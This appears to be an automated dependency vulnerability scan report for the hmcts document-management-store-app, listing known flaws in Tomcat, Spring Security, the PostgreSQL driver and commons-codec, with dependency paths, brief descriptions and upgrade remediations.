  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.boot:spring-boot-starter-data-rest@4.1.0-RC1 org.springframework.boot:spring-boot-starter-webmvc@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0-RC1 org.apache.tomcat.embed:tomcat-embed-websocket@11.0.21 org.apache.tomcat.embed:tomcat-embed-core@11.0.21
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.boot:spring-boot-starter-data-rest@4.1.0-RC1 org.springframework.boot:spring-boot-starter-webmvc@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat@4.1.0-RC1 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.1.0-RC1 org.springframework.boot:spring-boot-tomcat@4.1.0-RC1 org.apache.tomcat.embed:tomcat-embed-core@11.0.21

Overview

org.apache.tomcat.embed:tomcat-embed-core is a Core Tomcat implementation.

Affected versions of this package are vulnerable to Improper Handling of Case Sensitivity in the LockOutRealm function. An attacker can bypass account lockout protections by submitting usernames with different letter casing.

Remediation

Upgrade org.apache.tomcat.embed:tomcat-embed-core to version 9.0.118, 10.1.55, 11.0.22 or higher.

References

medium severity

Access Restriction Bypass

  • Vulnerable module: org.springframework.security:spring-security-config
  • Introduced through: org.springframework.security:spring-security-config@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.security:spring-security-config@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-config@3.0.0.RELEASE.

Overview

org.springframework.security:spring-security-config is a security configuration package for Spring Framework.

Affected versions of this package are vulnerable to Access Restriction Bypass. It does not consider URL path parameters when processing security constraints. By adding a URL path parameter with special encodings, an attacker may be able to bypass a security constraint.

Remediation

Upgrade org.springframework.security:spring-security-config to version 4.1.5.RELEASE, 4.2.4.RELEASE, 5.0.3.RELEASE or higher.

References

medium severity

Access Restriction Bypass

  • Vulnerable module: org.springframework.security:spring-security-core
  • Introduced through: org.springframework.security:spring-security-core@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.security:spring-security-core@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-core@2.0.6.RELEASE.

Overview

org.springframework.security:spring-security-core is a package that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Access Restriction Bypass. Spring Security allows remote attackers to bypass security constraints via a path parameter.

Remediation

Upgrade org.springframework.security:spring-security-core to version 2.0.6.RELEASE, 3.0.4.RELEASE or higher.

References

medium severity

Information Exposure

  • Vulnerable module: org.springframework.security:spring-security-core
  • Introduced through: org.springframework.security:spring-security-core@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.security:spring-security-core@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-core@2.0.8.RELEASE.

Overview

org.springframework.security:spring-security-core is a package that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Information Exposure. DaoAuthenticationProvider in VMware SpringSource Spring Security does not check the password if the user is not found, which makes the response delay shorter and might allow remote attackers to enumerate valid usernames via a series of login requests.

Remediation

Upgrade org.springframework.security:spring-security-core to version 2.0.8.RELEASE, 3.0.8.RELEASE, 3.1.3.RELEASE or higher.

References

medium severity

Integer Overflow or Wraparound

  • Vulnerable module: org.springframework.security:spring-security-core
  • Introduced through: org.springframework.security:spring-security-core@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.security:spring-security-core@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-core@2.0.0.

Overview

org.springframework.security:spring-security-core is a package that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Integer Overflow or Wraparound when using the BCrypt class with the maximum work factor (31). In such a case, the encoder does not perform any salt rounds due to the overflow.

Note:

The default settings are not affected by this CVE.

Remediation

Upgrade org.springframework.security:spring-security-core to version 5.4.11 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: org.springframework.security:spring-security-oauth2-client
  • Introduced through: org.springframework.security:spring-security-oauth2-client@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.security:spring-security-oauth2-client@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-client@5.0.0.RELEASE.

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) via sending multiple requests that initiate the Authorization Request and Authorization Code Grant, which may lead to resource exhaustion.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade org.springframework.security:spring-security-oauth2-client to version 5.5.1, 5.4.7, 5.3.10.RELEASE, 5.2.11.RELEASE or higher.

References

medium severity

Access Restriction Bypass

  • Vulnerable module: org.springframework.security:spring-security-web
  • Introduced through: org.springframework.security:spring-security-web@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.security:spring-security-web@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-web@3.0.4.RELEASE.

Overview

org.springframework.security:spring-security-web is a package within Spring Security that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Access Restriction Bypass. Spring Security allows remote attackers to bypass security constraints via a path parameter.

Remediation

Upgrade org.springframework.security:spring-security-web to version 3.0.4.RELEASE or higher.

References

medium severity

Access Restriction Bypass

  • Vulnerable module: org.springframework.security:spring-security-web
  • Introduced through: org.springframework.security:spring-security-web@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.security:spring-security-web@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-web@3.0.0.RELEASE.

Overview

org.springframework.security:spring-security-web is a package within Spring Security that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Access Restriction Bypass. It does not consider URL path parameters when processing security constraints. By adding a URL path parameter with special encodings, an attacker may be able to bypass a security constraint.

Remediation

Upgrade org.springframework.security:spring-security-web to version 4.1.5.RELEASE, 4.2.4.RELEASE, 5.0.3.RELEASE or higher.

References

medium severity

Information Exposure

  • Vulnerable module: org.postgresql:postgresql
  • Introduced through: org.postgresql:postgresql@versions.postgresql

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.postgresql:postgresql@versions.postgresql
    Remediation: Upgrade to org.postgresql:postgresql@9.2-1002-jdbc4.

Overview

org.postgresql:postgresql is a Java JDBC 4.2 (JRE 8+) driver for PostgreSQL database.

Affected versions of this package are vulnerable to Information Exposure in the pgjdbc driver, which writes to the operating system's shared temp directory when the InputStream to either PreparedStatement.setText(int, InputStream) or PreparedStatemet.setBytea(int, InputStream) is larger than 2K. The temporary file is readable by other users. This is the default system behavior on Unix systems but not on MacOS.

NOTE: This vulnerability is only fixed for JDK 1.7. Systems using JDK 1.6 or below can work around the vulnerability by setting the environment variable java.io.tmpdir to a non-world-readable location.

Remediation

Upgrade org.postgresql:postgresql to version 42.2.27, 42.3.8, 42.4.3, 42.5.1 or higher.

References

medium severity

Privilege Escalation

  • Vulnerable module: org.springframework.security:spring-security-core
  • Introduced through: org.springframework.security:spring-security-core@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.security:spring-security-core@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-core@5.2.9.RELEASE.

Overview

org.springframework.security:spring-security-core is a package that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Privilege Escalation. It fails to save the SecurityContext if it has changed more than once in a single request. The SecurityContext can fail to save to the HttpSession if a developer changes the SecurityContext twice in a single request when both of the following conditions are met: First the developer must change the SecurityContext before the HttpResponse is committed and then the HttpResponse must be committed before the SecurityContextPersistenceFilter completes. Then the developer must attempt to change the SecurityContext again before the SecurityContextPersistenceFilter completes. A malicious user cannot cause the bug to happen (it must be programmed in). However, if the application's intent is to only allow the user to run with elevated privileges in a small portion of the application, the bug can be leveraged to extend those privileges to the rest of the application.

Remediation

Upgrade org.springframework.security:spring-security-core to version 5.4.4, 5.3.8.RELEASE, 5.2.9.RELEASE or higher.

References

medium severity

Arbitrary Code Execution

  • Vulnerable module: org.springframework.security:spring-security-core
  • Introduced through: org.springframework.security:spring-security-core@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.security:spring-security-core@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-core@2.0.7.RELEASE.

Overview

org.springframework.security:spring-security-core is a package that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Arbitrary Code Execution. CRLF injection vulnerability in the logout functionality in VMware SpringSource Spring Security before 2.0.7 and 3.0.x before 3.0.6 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via the spring-security-redirect parameter.

Remediation

Upgrade org.springframework.security:spring-security-core to version 2.0.7.RELEASE, 3.0.6.RELEASE or higher.

References

medium severity

Arbitrary Code Execution

  • Vulnerable module: org.springframework.security:spring-security-web
  • Introduced through: org.springframework.security:spring-security-web@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.security:spring-security-web@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-web@3.0.6.RELEASE.

Overview

org.springframework.security:spring-security-web is a package within Spring Security that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Arbitrary Code Execution. CRLF injection vulnerability in the logout functionality in VMware SpringSource Spring Security before 2.0.7 and 3.0.x before 3.0.6 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via the spring-security-redirect parameter.

Remediation

Upgrade org.springframework.security:spring-security-web to version 3.0.6.RELEASE or higher.

References

medium severity

Authorization Bypass

  • Vulnerable module: org.springframework.security:spring-security-oauth2-jose
  • Introduced through: org.springframework.security:spring-security-oauth2-jose@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.security:spring-security-oauth2-jose@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-jose@5.0.0.RELEASE.

Overview

org.springframework.security:spring-security-oauth2-jose provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Authorization Bypass via the JWT issuer validator. An attacker could fashion signed JWTs with the malicious issuer URL that may be granted for the honest issue. In order to be impacted, the same private key for an honest issuer and a malicious user must be used when signing JWTs.

Remediation

Upgrade org.springframework.security:spring-security-oauth2-jose to version 5.1.2.RELEASE or higher.

References

medium severity

Dual license: CDDL-1.0, LGPL-2.1

  • Module: org.codelibs:jhighlight
  • Introduced through: org.apache.tika:tika-parsers-standard-package@3.3.1

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.apache.tika:tika-parsers-standard-package@3.3.1 org.apache.tika:tika-parser-code-module@3.3.1 org.codelibs:jhighlight@1.1.1

Dual license: CDDL-1.0, LGPL-2.1

low severity

Information Exposure

  • Vulnerable module: commons-codec:commons-codec
  • Introduced through: org.apache.httpcomponents:httpclient@4.5.14 and org.apache.tika:tika-parsers-standard-package@3.3.1

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.apache.httpcomponents:httpclient@4.5.14 commons-codec:commons-codec@1.11
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.apache.tika:tika-parsers-standard-package@3.3.1 org.apache.tika:tika-parser-html-module@3.3.1 commons-codec:commons-codec@1.11
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.1.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.apache.tika:tika-parsers-standard-package@3.3.1 org.apache.tika:tika-parser-text-module@3.3.1 commons-codec:commons-codec@1.11
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.1.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.apache.tika:tika-parsers-standard-package@3.3.1 org.apache.tika:tika-parser-xml-module@3.3.1 commons-codec:commons-codec@1.11
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.1.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.apache.tika:tika-parsers-standard-package@3.3.1 org.apache.tika:tika-parser-microsoft-module@3.3.1 commons-codec:commons-codec@1.11
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.1.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.apache.tika:tika-parsers-standard-package@3.3.1 org.apache.tika:tika-parser-digest-commons@3.3.1 commons-codec:commons-codec@1.11
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.1.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.apache.tika:tika-parsers-standard-package@3.3.1 org.apache.tika:tika-parser-miscoffice-module@3.3.1 commons-codec:commons-codec@1.11
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.1.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.apache.tika:tika-parsers-standard-package@3.3.1 org.apache.tika:tika-parser-webarchive-module@3.3.1 org.apache.commons:commons-compress@1.28.0 commons-codec:commons-codec@1.11
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.1.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.apache.tika:tika-parsers-standard-package@3.3.1 org.apache.tika:tika-parser-miscoffice-module@3.3.1 org.apache.poi:poi@5.5.1 commons-codec:commons-codec@1.11
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.1.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.apache.tika:tika-parsers-standard-package@3.3.1 org.apache.tika:tika-parser-microsoft-module@3.3.1 org.apache.poi:poi@5.5.1 commons-codec:commons-codec@1.11
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.1.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.apache.tika:tika-parsers-standard-package@3.3.1 org.apache.tika:tika-parser-microsoft-module@3.3.1 org.apache.poi:poi-scratchpad@5.5.1 commons-codec:commons-codec@1.11
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.1.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.apache.tika:tika-parsers-standard-package@3.3.1 org.apache.tika:tika-parser-microsoft-module@3.3.1 org.apache.tika:tika-parser-html-module@3.3.1 commons-codec:commons-codec@1.11
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.1.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.apache.tika:tika-parsers-standard-package@3.3.1 org.apache.tika:tika-parser-mail-module@3.3.1 org.apache.tika:tika-parser-html-module@3.3.1 commons-codec:commons-codec@1.11
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.1.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.apache.tika:tika-parsers-standard-package@3.3.1 org.apache.tika:tika-parser-text-module@3.3.1 org.apache.commons:commons-csv@1.14.1 commons-codec:commons-codec@1.11
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.1.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.apache.tika:tika-parsers-standard-package@3.3.1 org.apache.tika:tika-parser-microsoft-module@3.3.1 org.apache.tika:tika-parser-text-module@3.3.1 commons-codec:commons-codec@1.11
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.1.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.apache.tika:tika-parsers-standard-package@3.3.1 org.apache.tika:tika-parser-code-module@3.3.1 org.apache.tika:tika-parser-text-module@3.3.1 commons-codec:commons-codec@1.11
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.1.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.apache.tika:tika-parsers-standard-package@3.3.1 org.apache.tika:tika-parser-mail-module@3.3.1 org.apache.tika:tika-parser-text-module@3.3.1 commons-codec:commons-codec@1.11
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.1.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.apache.tika:tika-parsers-standard-package@3.3.1 org.apache.tika:tika-parser-miscoffice-module@3.3.1 org.apache.tika:tika-parser-text-module@3.3.1 commons-codec:commons-codec@1.11
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.1.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.apache.tika:tika-parsers-standard-package@3.3.1 org.apache.tika:tika-parser-microsoft-module@3.3.1 org.apache.tika:tika-parser-xml-module@3.3.1 commons-codec:commons-codec@1.11
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.1.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.apache.tika:tika-parsers-standard-package@3.3.1 org.apache.tika:tika-parser-miscoffice-module@3.3.1 org.apache.tika:tika-parser-xml-module@3.3.1 commons-codec:commons-codec@1.11
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.1.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.apache.tika:tika-parsers-standard-package@3.3.1 org.apache.tika:tika-parser-cad-module@3.3.1 org.apache.tika:tika-parser-microsoft-module@3.3.1 commons-codec:commons-codec@1.11
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.1.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.apache.tika:tika-parsers-standard-package@3.3.1 org.apache.tika:tika-parser-apple-module@3.3.1 org.apache.tika:tika-parser-zip-commons@3.3.1 org.apache.commons:commons-compress@1.28.0 commons-codec:commons-codec@1.11
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.1.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.apache.tika:tika-parsers-standard-package@3.3.1 org.apache.tika:tika-parser-microsoft-module@3.3.1 org.apache.tika:tika-parser-zip-commons@3.3.1 org.apache.commons:commons-compress@1.28.0 commons-codec:commons-codec@1.11
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.1.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.apache.tika:tika-parsers-standard-package@3.3.1 org.apache.tika:tika-parser-miscoffice-module@3.3.1 org.apache.tika:tika-parser-zip-commons@3.3.1 org.apache.commons:commons-compress@1.28.0 commons-codec:commons-codec@1.11
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.1.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.apache.tika:tika-parsers-standard-package@3.3.1 org.apache.tika:tika-parser-pkg-module@3.3.1 org.apache.tika:tika-parser-zip-commons@3.3.1 org.apache.commons:commons-compress@1.28.0 commons-codec:commons-codec@1.11
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.1.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.apache.tika:tika-parsers-standard-package@3.3.1 org.apache.tika:tika-parser-microsoft-module@3.3.1 org.apache.poi:poi-ooxml@5.5.1 org.apache.commons:commons-compress@1.28.0 commons-codec:commons-codec@1.11
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.1.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.apache.tika:tika-parsers-standard-package@3.3.1 org.apache.tika:tika-parser-microsoft-module@3.3.1 org.apache.poi:poi-ooxml@5.5.1 org.apache.poi:poi@5.5.1 commons-codec:commons-codec@1.11
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.1.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.apache.tika:tika-parsers-standard-package@3.3.1 org.apache.tika:tika-parser-microsoft-module@3.3.1 org.apache.poi:poi-scratchpad@5.5.1 org.apache.poi:poi@5.5.1 commons-codec:commons-codec@1.11
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.1.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.apache.tika:tika-parsers-standard-package@3.3.1 org.apache.tika:tika-parser-cad-module@3.3.1 org.apache.tika:tika-parser-microsoft-module@3.3.1 org.apache.poi:poi@5.5.1 commons-codec:commons-codec@1.11
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.1.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.apache.tika:tika-parsers-standard-package@3.3.1 org.apache.tika:tika-parser-cad-module@3.3.1 org.apache.tika:tika-parser-microsoft-module@3.3.1 org.apache.poi:poi-scratchpad@5.5.1 commons-codec:commons-codec@1.11
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.1.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.apache.tika:tika-parsers-standard-package@3.3.1 org.apache.tika:tika-parser-cad-module@3.3.1 org.apache.tika:tika-parser-microsoft-module@3.3.1 org.apache.tika:tika-parser-html-module@3.3.1 commons-codec:commons-codec@1.11
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.1.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.apache.tika:tika-parsers-standard-package@3.3.1 org.apache.tika:tika-parser-microsoft-module@3.3.1 org.apache.tika:tika-parser-text-module@3.3.1 org.apache.commons:commons-csv@1.14.1 commons-codec:commons-codec@1.11
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.1.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.apache.tika:tika-parsers-standard-package@3.3.1 org.apache.tika:tika-parser-code-module@3.3.1 org.apache.tika:tika-parser-text-module@3.3.1 org.apache.commons:commons-csv@1.14.1 commons-codec:commons-codec@1.11
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.1.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.apache.tika:tika-parsers-standard-package@3.3.1 org.apache.tika:tika-parser-mail-module@3.3.1 org.apache.tika:tika-parser-text-module@3.3.1 org.apache.commons:commons-csv@1.14.1 commons-codec:commons-codec@1.11
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.1.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.apache.tika:tika-parsers-standard-package@3.3.1 org.apache.tika:tika-parser-miscoffice-module@3.3.1 org.apache.tika:tika-parser-text-module@3.3.1 org.apache.commons:commons-csv@1.14.1 commons-codec:commons-codec@1.11
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.1.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.apache.tika:tika-parsers-standard-package@3.3.1 org.apache.tika:tika-parser-cad-module@3.3.1 org.apache.tika:tika-parser-microsoft-module@3.3.1 org.apache.tika:tika-parser-text-module@3.3.1 commons-codec:commons-codec@1.11
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.1.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.apache.tika:tika-parsers-standard-package@3.3.1 org.apache.tika:tika-parser-cad-module@3.3.1 org.apache.tika:tika-parser-microsoft-module@3.3.1 org.apache.tika:tika-parser-xml-module@3.3.1 commons-codec:commons-codec@1.11
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.1.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.apache.tika:tika-parsers-standard-package@3.3.1 org.apache.tika:tika-parser-cad-module@3.3.1 org.apache.tika:tika-parser-microsoft-module@3.3.1 org.apache.tika:tika-parser-zip-commons@3.3.1 org.apache.commons:commons-compress@1.28.0 commons-codec:commons-codec@1.11
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.1.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.apache.tika:tika-parsers-standard-package@3.3.1 org.apache.tika:tika-parser-cad-module@3.3.1 org.apache.tika:tika-parser-microsoft-module@3.3.1 org.apache.poi:poi-ooxml@5.5.1 org.apache.commons:commons-compress@1.28.0 commons-codec:commons-codec@1.11
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.1.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.apache.tika:tika-parsers-standard-package@3.3.1 org.apache.tika:tika-parser-cad-module@3.3.1 org.apache.tika:tika-parser-microsoft-module@3.3.1 org.apache.poi:poi-ooxml@5.5.1 org.apache.poi:poi@5.5.1 commons-codec:commons-codec@1.11
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.1.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.apache.tika:tika-parsers-standard-package@3.3.1 org.apache.tika:tika-parser-cad-module@3.3.1 org.apache.tika:tika-parser-microsoft-module@3.3.1 org.apache.poi:poi-scratchpad@5.5.1 org.apache.poi:poi@5.5.1 commons-codec:commons-codec@1.11
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.1.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.apache.tika:tika-parsers-standard-package@3.3.1 org.apache.tika:tika-parser-cad-module@3.3.1 org.apache.tika:tika-parser-microsoft-module@3.3.1 org.apache.tika:tika-parser-text-module@3.3.1 org.apache.commons:commons-csv@1.14.1 commons-codec:commons-codec@1.11
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.1.

Overview

commons-codec:commons-codec is a package that contains simple encoder and decoders for various formats such as Base64 and Hexadecimal.

Affected versions of this package are vulnerable to Information Exposure. When there is no byte array value that can be encoded into a string the Base32 implementation does not reject it, and instead decodes it into an arbitrary value which can be re-encoded again using the same implementation. This allows for information exposure exploits such as tunneling additional information via seemingly valid base 32 strings.

Remediation

Upgrade commons-codec:commons-codec to version 1.14 or higher.

References

low severity

Insecure Randomness

  • Vulnerable module: org.springframework.security:spring-security-core
  • Introduced through: org.springframework.security:spring-security-core@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app org.springframework.security:spring-security-core@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-core@2.0.0.

Overview

org.springframework.security:spring-security-core is a package that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Insecure Randomness due to the usage of SecureRandomFactoryBean#setSeed function to configure a SecureRandom instance. In order for exploitation, an attacker will need to obtain the content generated from an application's seed value.

Remediation

Upgrade org.springframework.security:spring-security-core to version 4.2.12.RELEASE, 5.0.12.RELEASE, 5.1.5.RELEASE or higher.

References